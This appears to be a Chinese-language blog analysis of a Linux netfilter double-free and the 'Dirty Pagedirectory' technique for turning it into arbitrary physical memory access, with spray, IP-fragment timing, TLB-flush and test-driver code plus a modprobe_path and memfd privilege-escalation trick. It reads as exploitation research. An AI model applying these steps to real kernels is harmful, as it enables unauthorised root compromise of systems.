非常精彩的利用文章。有能力的读者可以直接阅读原文:)

Vulnerability

漏洞的成因是允许用户同时指定NF_DROPNF_ACCEPT值(即NF_DROP(1),这里的1本来应该是错误代码),内核在解析到NF_DROP后便会释放skb,但由于最后返回的却是NF_ACCEPTskb会继续留在内核网络栈上,随后又被释放,造成double free

// looping over existing rules when skb triggers chain
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
         const struct nf_hook_entries *e, unsigned int s)
{
    unsigned int verdict;
    int ret;
 
    for (; s < e->num_hook_entries; s++) {
        // malicious rule: verdict = 0xffff0000
        verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);  
 
        // 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
        switch (verdict & NF_VERDICT_MASK) {  
        case NF_ACCEPT:
            break;
        case NF_DROP:
            // first free of double-free
            kfree_skb_reason(skb,
                     SKB_DROP_REASON_NETFILTER_DROP);  
            
            // NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)
            ret = NF_DROP_GETERR(verdict);  
            if (ret == 0)
                ret = -EPERM;
            
            // return NF_ACCEPT (continue packet handling)
            return ret;  
 
        // [snip] alternative verdict cases
        default:
            WARN_ON_ONCE(1);
            return 0;
        }
    }
 
    return 1;
}

该漏洞会同时释放掉两个结构体:struct sk_buffsk_buff->head,而sk_buff->head存放的是网络数据包的内容,大小是用户完全控制的,大小最大可以是16个页面。

Exploitation

主要思路是:

在第一次free后堆喷page table去占位,后面再分配一次页面后触发第二次free,然后堆喷page directory造成和page table的重叠,这样,任何用户分配的物理页都能够作为一个页表项。

Double Free

在两次free之间,需要喷大量的PTE,因此需要留出一定的时间窗口。然而,内核网络站本身时间窗口并不多,这里可以采用IP分片技术,以延迟第二次free的时间。具体来讲:

iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag 
memset(iph1_body, 'A', 8); 
transmit(iph1, iph1_body, 8); 
 
iph2->len = sizeof(struct ip_header)*2 + 64; 
iph2->offset = ntohs(8 >> 3); // don't set IP_MF since this is the last packet 
memset(iph2_body, 'A', 56); 
transmit(iph2, iph2_body, 56);

设置IP_MF表示还有更多的数据,内核中的选项/proc/sys/net/ipv4/ipfrag_time可以延长内核的等待时间。

DirtyPageDirectory

dirtypagetable会需要一个同样使用page_alloc分配的且在MIGRATE_UNMOVABLE区域的对象,例如/dev/dma_heap(在安卓不需要特权可行,但在一般的linux系统需要特权),io_uring

dirtypagedirectory主要思路是造成PMDPTE的重叠。这样,给用户态分配的一个物理页实际上也作为PTE,从而允许用户任意修改虚拟内存映射,也就是可以任意修改物理页面,只读页面仍然可以修改。

Page Table Spraying

PTE页表可以通过mmap一个2M的虚拟内存,然后访问触发缺页异常来分配。PMD也是同样的道理,1G大小的虚拟内存来对应一个PMD所支持的内容。

#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
	((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
	_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))
 

这里的index可以和虚拟地址对应起来。

PCP list Draining

我们double free的对象是4阶的,但是pte是0阶的。注意到四阶的页面由buddy system来管理。这里我们如果将低阶的free page都消耗光,那么有机会在原来free掉的页面之上再进行0阶页面的切分,这样就能在4阶的free object之上分配到pte对象。

Flush TLB

页表修改后需要使用flushtls指令进行刷新。不过用户态程序需要寻找些别的办法。 在exp中,将mmap的内存指定为共享页,fork出的子进程执行unmap操作来刷新TLB

static void flush_tlb(void *addr, size_t len)
{
	short *status;
 
	status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	
	*status = FLUSH_STAT_INPROGRESS;
	if (fork() == 0)
	{
		munmap(addr, len);
		*status = FLUSH_STAT_DONE;
		PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
		sleep(9999);
	}
 
	SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
 
	munmap(status, sizeof(short));
}

physical KASLR

指定了CONFIG_RELOCATABLE=y后内核的加载的物理地址会随机化,不过由于已经任意读内核地址,可以采取扫描的方法。

Experiment

这里还是用上我的弱智小驱动进行测试:) 有new, del, rd,自己实现一个也很容易,所以我就不贴这弱智驱动的代码了。 也是一个16页的double free

void exploit() {
  int fd = open("/dev/ioctltest", O_RDONLY);
  SYSCHK(ioctl(fd, IOCTL_NEW, 16 *4096));
  SYSCHK(ioctl(fd, IOCTL_DEL));
  spray_pagetable();
  char buf[4096 * 16] = {0};
  SYSCHK(ioctl(fd, IOCTL_RD, buf));
  hexdump(buf, 4096 * 16);
}

首先堆喷大量pte上去(具体喷多少看系统有多少内存),只要我喷的够多,就能消耗掉buddy allocattor,通过drain pcp来分配到double free对象。

通过漏洞对象实现第二次free后,马上分配一个pmd,造成与原来的pte的重叠。

  _pmd_area =
      mmap((void *)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE,
           MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  pmd_kernel_area = _pmd_area;
  pmd_data_area = _pmd_area + 0x200000;
  *(unsigned long long *)_pmd_area = 0xCAFEBABE;

如果我们有一个ptepmd的重叠,那么某个用户态的页面会被映射成pte

A: 1 1 0 0 byte_off
B: 2 0 i 0 byte_off

这里B是我们之前喷pte的那块虚拟地址区域,A是我们pmd占位的内存区域。B的某一个pte会和Apmd重叠,所以这里要去指定pteindex,也即这里的i去一个个尝试。假设我们找到为i,其对应的user页面则成为A的一个pte,我们可以通过1 1 b_pte_index user_page_index byte_off。这样的格式来访问任意物理地址。(前面四个index每个都是9字节,具体查阅x86 paging相应的内容,byte_off是页内偏移) 原来用来喷的pte的用户页面其中有一个被映射成pte

此时,我们已经有了任意读写物理页面的原语。此时对内核物理页面做一下扫描。最后,在扫描到的内核区域上继续扫描modprobe的路径。修改即可实现提权。

这里碰到一个原文似乎没有提及的问题。在第二次free时,如果直接去用漏洞对象去free掉整个pte所在的page,那么会直接crash,报错信息是关于mapcount的。

pwndbg> p *(struct page*)(0xffffea0000000000 + 0x10e490 * 64)
...
  {
    _mapcount = {
      counter = -513
    },
    page_type = 4294966783
  },
  _refcount = {
    counter = 1
  },
...

此时,会去检查_mapcount是否为-1,而该字段本身和page-flags是存储在一个地方,对于pte会把它当成page-type,并会去设置0x200的页表标志位,不会为-1,因此会直接崩掉。

/*
 * A bad page could be due to a number of fields. Instead of multiple branches,
 * try and check multiple fields with one check. The caller must do a detailed
 * check if necessary.
 */
static inline bool page_expected_state(struct page *page,
					unsigned long check_flags)
{
	if (unlikely(atomic_read(&page->_mapcount) != -1))
		return false;
 
	if (unlikely((unsigned long)page->mapping |
			page_ref_count(page) |
#ifdef CONFIG_MEMCG
			page->memcg_data |
#endif
			(page->flags & check_flags)))
		return false;
 
	return true;
}
#define PAGE_TYPE_BASE	0xf0000000
/* Reserve		0x0000007f to catch underflows of page_mapcount */
#define PAGE_MAPCOUNT_RESERVE	-128
#define PG_buddy	0x00000080
#define PG_offline	0x00000100
#define PG_table	0x00000200
#define PG_guard	0x00000400

后来运行bsauce提供的bzImage发现可以正常跑,于是猜测应该是某个config的问题,逐步尝试发现在同时开启了CONFIG_DEBUG_VMCONFIG_DEBUG_VM_PGTABLE时,会触发检查。

#ifdef CONFIG_DEBUG_VM
/*
 * With DEBUG_VM enabled, order-0 pages are checked immediately when being freed
 * to pcp lists. With debug_pagealloc also enabled, they are also rechecked when
 * moved from pcp lists to free lists.
 */
static bool free_pcp_prepare(struct page *page, unsigned int order)
{
	return free_pages_prepare(page, order, true, FPI_NONE);
}
 
/* return true if this page has an inappropriate state */
static bool bulkfree_pcp_prepare(struct page *page)
{
	if (debug_pagealloc_enabled_static())
		return free_page_is_bad(page);
	else
		return false;
}
#else
 

考虑到CONFIG_DEBUG_VM应该在生产环境中不被使用,应该问题不大😅比如我的linux笔记本就没有

❯ zcat /proc/config.gz | grep -i CONFIG_DEBUG_VM
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_VM_PGTABLE is not set

Trivia

Patches

Quote

Its not clear to me why this commit was made.

🤔

modprobe

memfd,可以将内存的内容创建一个fd与之对应起来,modprobe_path如果指定到了这个fd的路径(从/proc/{pid}/fd/{mem_fd}中获取),就可以执行内存里的提权脚本。这种方法不需要创建文件,即便文件系统只读仍然有效。

Reference